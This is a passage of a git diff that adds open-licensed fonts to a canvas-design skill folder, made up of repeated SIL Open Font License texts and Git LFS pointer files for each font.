+3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/Lora-Regular.ttf b/skills/canvas-design/canvas-fonts/Lora-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..8687ec3966d592c3433f80fc14210274ae9698d2 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Lora-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7ed00e7c9cdf16ab7e2fd2361fe45d4f0b61263cd60aae398b27b7ee08108827 +size 133888 diff --git a/skills/canvas-design/canvas-fonts/NationalPark-Bold.ttf b/skills/canvas-design/canvas-fonts/NationalPark-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..c6bbe52dc12751828b4bf361adcf72dba7a2f905 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/NationalPark-Bold.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:69ac4c301c4a7233c6e602d12a92c54d7967b575f4449951c45ce773f7acff53 +size 79208 diff --git a/skills/canvas-design/canvas-fonts/NationalPark-OFL.txt b/skills/canvas-design/canvas-fonts/NationalPark-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..f4ec3fba915df6e072b72fed691f1032d440544d --- /dev/null +++ b/skills/canvas-design/canvas-fonts/NationalPark-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2025 The National Park Project Authors (https://github.com/benhoepner/National-Park) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/NationalPark-Regular.ttf b/skills/canvas-design/canvas-fonts/NationalPark-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..2dbae7167541b4189cc902484e482f97a1f2a669 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/NationalPark-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a477338b7e18308d476650dfe31235ef86a883572665e56ffb5fb80f82009b58 +size 76424 diff --git a/skills/canvas-design/canvas-fonts/NothingYouCouldDo-OFL.txt b/skills/canvas-design/canvas-fonts/NothingYouCouldDo-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..c81eccdee9a75cebdd400cc39ff5a0bb7bd1eaa3 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/NothingYouCouldDo-OFL.txt @@ -0,0 +1,93 @@ +Copyright (c) 2010, Kimberly Geswein (kimberlygeswein.com) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/NothingYouCouldDo-Regular.ttf b/skills/canvas-design/canvas-fonts/NothingYouCouldDo-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..1537a14a0670958fd3cead548ef4d6efde2a86b8 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/NothingYouCouldDo-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d866f985896d3280f4fce72db7e17302c24a0c1fdb0699b6b5ed3af14f944d57 +size 32020 diff --git a/skills/canvas-design/canvas-fonts/Outfit-Bold.ttf b/skills/canvas-design/canvas-fonts/Outfit-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..3eb5fcebe32d560df5586287334134ec5ee22ec0 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Outfit-Bold.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6654b93d21301ec61887d3cedd6c11d9df1b1dfb63f9cf45ac7995f6e2235ab1 +size 55392 diff --git a/skills/canvas-design/canvas-fonts/Outfit-OFL.txt b/skills/canvas-design/canvas-fonts/Outfit-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..fd0cb995c0cadfa28394e7f9b88b7e43c783b453 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Outfit-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2021 The Outfit Project Authors (https://github.com/Outfitio/Outfit-Fonts) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/Outfit-Regular.ttf b/skills/canvas-design/canvas-fonts/Outfit-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..b628684261b994a41d9b96c9448060d351334c22 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Outfit-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f24945365147c9e783e91d8649959b59be6b00c9ee4ecd2f6b33afbb2dd871fe +size 54912 diff --git a/skills/canvas-design/canvas-fonts/PixelifySans-Medium.ttf b/skills/canvas-design/canvas-fonts/PixelifySans-Medium.ttf new file mode 100644 index 0000000000000000000000000000000000000000..180f44c54cfe97ebb09498b4ae5ccaeb20646230 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/PixelifySans-Medium.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:38397504f71c122b03d234ea6f55118e3d5bdbddffd82bedddbd7755d3b3be82 +size 51072 diff --git a/skills/canvas-design/canvas-fonts/PixelifySans-OFL.txt b/skills/canvas-design/canvas-fonts/PixelifySans-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..b02d1b6767c0cd44a3a3afeddef03778f10e6ad2 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/PixelifySans-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2021 The Pixelify Sans Project Authors (https://github.com/eifetx/Pixelify-Sans) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/PoiretOne-OFL.txt b/skills/canvas-design/canvas-fonts/PoiretOne-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..607bdad3fd41bf7915b74271cd4c67f3319c00e6 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/PoiretOne-OFL.txt @@ -0,0 +1,93 @@ +Copyright (c) 2011, Denis Masharov (denis.masharov@gmail.com) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/PoiretOne-Regular.ttf b/skills/canvas-design/canvas-fonts/PoiretOne-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..a035d3487c237ae54dc9d16eedd182cb450f6e14 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/PoiretOne-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9cf265b139648b36b6c0afdfeb0bf27f7e66db9a16094bc40f644d8da05bc318 +size 45244 diff --git a/skills/canvas-design/canvas-fonts/RedHatMono-Bold.ttf b/skills/canvas-design/canvas-fonts/RedHatMono-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..15f66294366869bd535a497b1ffea462df5813a2 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/RedHatMono-Bold.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7ef48353f4be5ddb90f000f6fad48f2b62b3e8c27d9818d8d45ff46c201065e0 +size 34420 diff --git a/skills/canvas-design/canvas-fonts/RedHatMono-OFL.txt b/skills/canvas-design/canvas-fonts/RedHatMono-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..16cf394bb1bd5100686703ebc4a3772a568e0e6a --- /dev/null +++ b/skills/canvas-design/canvas-fonts/RedHatMono-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2024 The Red Hat Project Authors (https://github.com/RedHatOfficial/RedHatFont) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/RedHatMono-Regular.ttf b/skills/canvas-design/canvas-fonts/RedHatMono-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..6345e4ac3569c0df3bb62d21ba2e00465d02b1cf --- /dev/null +++ b/skills/canvas-design/canvas-fonts/RedHatMono-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:452fe826871b37539f5212b20c87cf30f82f58dd2741f1c96edd1dcbdc0db6b4 +size 34488 diff --git a/skills/canvas-design/canvas-fonts/Silkscreen-OFL.txt b/skills/canvas-design/canvas-fonts/Silkscreen-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..a1fe7d5fbe4182d1071a23f8a8c46b9766eec81c --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Silkscreen-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2001 The Silkscreen Project Authors (https://github.com/googlefonts/silkscreen) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, 